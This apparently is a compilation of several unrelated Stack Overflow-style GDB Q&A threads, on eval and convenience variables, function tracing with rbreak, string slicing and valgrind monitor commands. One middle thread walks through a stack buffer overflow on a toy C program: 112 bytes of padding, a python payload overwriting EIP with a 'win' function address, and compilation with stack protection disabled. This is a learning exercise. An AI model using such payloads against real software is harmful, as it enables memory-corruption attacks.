sorry about the title I tried hard to come up with something which would "describe" the issue. Sorry as well if the question has already been asked but I was not able to find something related.
So I was trying to use gdb convenience variable of type string with the eval function.
First, since I just started using gdb, I wanted to make sure I understand what's happening so I tried the following
(gdb) eval "!echo 5"
5
(gdb) eval "!echo 5+8"
5+8
(gdb) eval "!echo %d", 5
5
(gdb) eval "!echo %d", 5+8
13
(gdb) set $anumber = 12
(gdb) eval "!echo %d", $anumber
12
so far so good.
Then I tried this though and I cannot figure out why it's yelling at me for the last line.
(gdb) eval "!echo hello"
hello
(gdb) eval "!echo \"hello\""
hello
(gdb) eval "!echo 'hello'"
hello
(gdb) set $hellostr = "hello"
(gdb) eval "!echo %s", $hellostr
You can't do that without a process to debug.
Is there something I am missing?
If that might help, calling show version produce
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
This is just a bug in gdb. Currently gdb always tries to allocate the string in the inferior. However, this is not always truly necessary.
Related
I would like to do use a variable from my bash/ gdb environment and set it as a convenience variable in gdb.
(gdb) show environment
bar=1
(gdb) set $foo = (show environment bar)
(gdb) show convenience
foo=1
Of course, my second (gdb) command returns an error. I have looked quite a bit to see if something like this is possible. But perhaps I am looking in the wrong direction. Could anyone be of help?
You could do it using builtin Python, like so:
(gdb) py import os
(gdb) py gdb.set_convenience_variable("home", os.environ["HOME"])
(gdb) p $home
$1 = "/home/me"
Taking the example from http://shanekirk.com/2017/08/gdb-tips-and-tricks-2-setting-breakpoints-with-regular-expressions/ - when I use rbreak, I get something like:
(gdb) rb TestFixture.h:.
Breakpoint 1 at 0x4008b6: file TestFixture.h, line 5.
void TestFixture::setUp();
Breakpoint 2 at 0x4008d4: file TestFixture.h, line 6.
void TestFixture::tearDown();
Breakpoint 3 at 0x4008f2: file TestFixture.h, line 7.
void TestFixture::testA();
Breakpoint 4 at 0x400910: file TestFixture.h, line 8.
void TestFixture::testB();
(gdb) info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x00000000004008b6 in TestFixture::setUp() at TestFixture.h:5
2 breakpoint keep y 0x00000000004008d4 in TestFixture::tearDown() at TestFixture.h:6
3 breakpoint keep y 0x00000000004008f2 in TestFixture::testA() at TestFixture.h:7
4 breakpoint keep y 0x0000000000400910 in TestFixture::testB() at TestFixture.h:8
Now, what I want is basically a dprintf-like behavior: once one of this breakpoints is hit, I just want the function name printed out, and then continue (basically, a function call trace)
However, the way I understand gdb - in order to do that, I would issue a rbreak [regex] first, then I get a bunch of breakpoints, then for each and every one of those I'd had to type manually:
commands [number-of-breakpoint]
print "[name of function]"
continue
end
... which quickly becomes a chore, especially if you end up with a lot more breakpoints than the 4 in the above example (say hundreds).
Now, it would be rather cool, if I could use something like "regex dprintf", or rdprintf, as in:
rdprintf TestFixture.h:., "%s\n", $__breakname__
... but as far as I know, there is no such command...
Or, if after issuing a rbreak TestFixture.h:., I could target the commands for those breakpoints as:
commands 1-4
print $__breakname__
continue
end
... but again, I think this does not exist either...
So is there a way to use gdb to provide this kind of a function call trace printout - without me manually typing the names of breakpoints and their commands, similar to how rbreak allows you to set multiple breakpoints with one command?
EDIT: just found List of all function calls made in an application - record function-call-history /ilc might be interesting, but there doesn't seem to be a way to limit the scope of what functions to trace, say with a regex...
Ok, via the link above, found https://stackoverflow.com/a/39124320/277826 - turns out, you can issue command for multiple breakpoints, as found by rbreak; and to print the name of the function, just use backtrace 1:
(gdb) command 1-36
Type commands for breakpoint(s) 1-36, one per line.
End with a line saying just "end".
>silent
>bt 1
>continue
>end
(gdb) r
... or with python, printing the frame at bt 0 and its parent's frame name:
command 1-36
silent
python print("{} <- {}".format( gdb.execute("bt 0", False, True).strip(), gdb.newest_frame().older().name() ))
continue
end
... or even better, python printing bt 0 function name and args, and parent name:
command 1-36
silent
python nf = gdb.newest_frame(); nfb = nf.block()
python nfargs = [ "{}={}".format(sym, nf.read_var(sym, nfb)) for sym in nfb if sym.is_argument ]
python print("#0 {}({}) <- {}".format(nf.name(), ",".join(nfargs), nf.older().name() ))
continue
end
... which would print something like:
#0 Searcher::FlagFromCmd(this=0x7fffffffaed8,cmd=808) <- FindLiveStrip::GrabToggles
#0 Searcher::FlagFromCmd(this=0x7fffffffaed8,cmd=807) <- FindLiveStrip::ToggleChanged
... and this seems to work fine; though if there are other options, I'd love to know about them.
I'm trying to provoke a buffer overflow in order to execute a function on C code. So far I already managed to find out what is the number of bytes to take over EBP register. The only thing next is to substitute the address of EIP to the function I wish to execute. I'm trying to generate this payload with python. For this I use the following
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
This is what I get
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;�
Notice those last characters! I know that it's not what I was suppose to get. The address I wish to run on EIP register is 0804863b. I had to put this on little endian for the exploit to run properly. Any comments on this?
If you run this payload:
python -c 'print "A"*112 + "B"*4' > attack_payload
And then if you have the control of the PC (EIP=42424242)
(gdb) r < attack_payload
You can replace the "BBBB" with your address 0804863b
python -c 'print "A"*112 + "\x3b\x86\x04\x08"' > attack_payload
It is all, you should verify before if you have the EIP control.
More info (I see the source code), in a simple way (for a better explanation) try to compile with the following command
gcc -o main main.c -fno-stack-protector -g -m32
Run it with the debugger (gdb ./main) and set the following breakpoint
gef➤ b 13
Breakpoint 2 at 0x8048611: file main.c, line 13.
Continue and insert the following payload
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCC
Go on at the instruction
→ 0x804862d <stringLength+60> ret
And you can see that now you have the control of the ret value
gef➤ bt
#0 0x0804862d in stringLength () at main.c:14
#1 0x43434343 in ?? ()
#2 0x08048800 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gef➤ x/x $sp
0xffffd5ec: 0x43434343
Now you can replace "CCCC" with the address of the win function
gef➤ p win
$1 = {void ()} 0x80485dd <win>
You can automatize all with a simple python script (try to see this library pwntools), you payload will be:
payload = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
payload += "\xdd\x85\x04\x08"
Or also you can run
python -c 'print "1"+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xdd\x85\x04\x08"' | ./main
I am writing a GDB macro to analyze the core and print a string. The output of string from core is "sp-4/0/2". Now I need to print only "sp", excluding others. I am not sure how to achieve this in GDB. Any pointers of this would be a great help.
Thanks in advance.
See, argv[1] is "sp-4/0/2"
(gdb) p argv[1]
$4 = 0x7fffffffe3fa "sp-4/0/2"
And this is only two first chars:
(gdb) printf "%.2s\n", argv[1]
sp
Or
(gdb) printf "%c%c\n", argv[1][0],argv[1][1]
sp
The following alternative works even when the size isn't known statically:
(gdb) p {char} argv[1]#2
I.e. you can replace the 2 by a variable or register value. This is useful when you are adding a breakpoint in e.g. write and don't have debug symbols available:
(gdb) b -qualified write # only match write, don't do globbing
(gdb) cond 1 $rdi == 2 # only when writing to stderr
(gdb) command 1
bt
p {char} $rsi#$rdx # print (partial) buffer
cont
The above works when the System V AMD64 calling convention is used, but can be easily adopted to the arm calling conventions by adapting the registers.
Let's say I'm debugging with valgrind and gdb by doing:
$ valgrind --vgdb-error=0 ./magic
...and then in a second terminal:
$ gdb ./magic
...
(gdb) target remote | /usr/lib/valgrind/../../bin/vgdb
If I want to examine the defined-ness of some memory, I can use:
(gdb) p &batman
$1 = (float *) 0xffeffe20c
(gdb) p sizeof(batman)
$2 = 4
(gdb) monitor get_vbits 0xffeffe20c 4
ffffffff
Using three commands to do one thing is kind of annoying, especially since I usually want to do this a few times for many different variables in the same stack frame. But if I try the obvious thing, I get:
(gdb) monitor get_vbits &batman sizeof(batman)
missing or malformed address
Is it possible to get gdb to evaluate &batman and sizeof(batman) on the same line as my monitor command?
But if I try the obvious thing, I get: missing or malformed address
This is from GDB doc (http://sourceware.org/gdb/onlinedocs/gdb/Connecting.html#index-monitor-1210) for the monitor cmd:
monitor cmd
This command allows you to send arbitrary commands
directly to the remote monitor. Since gdb doesn't care about the
commands it sends like this, this command is the way to extend gdb—you
can add new commands that only the external monitor will understand
and implement.
As you can see "gdb doesn't care about the commands it sends like this". It probably means that the command after monitor is not processed in any way and sent AS IS.
What you can do to evaluate your variable on the same line is to use user defined commands in gdb (http://sourceware.org/gdb/onlinedocs/gdb/Define.html). Define your own comand and use the eval gdb command to prepare your command with necessary values (http://sourceware.org/gdb/current/onlinedocs/gdb/Output.html#index-eval-1744):
define monitor_var
eval "monitor get_vbits %p %d", &$arg0, sizeof($arg0)
end
And then use it like this:
(gdb) monitor_var batman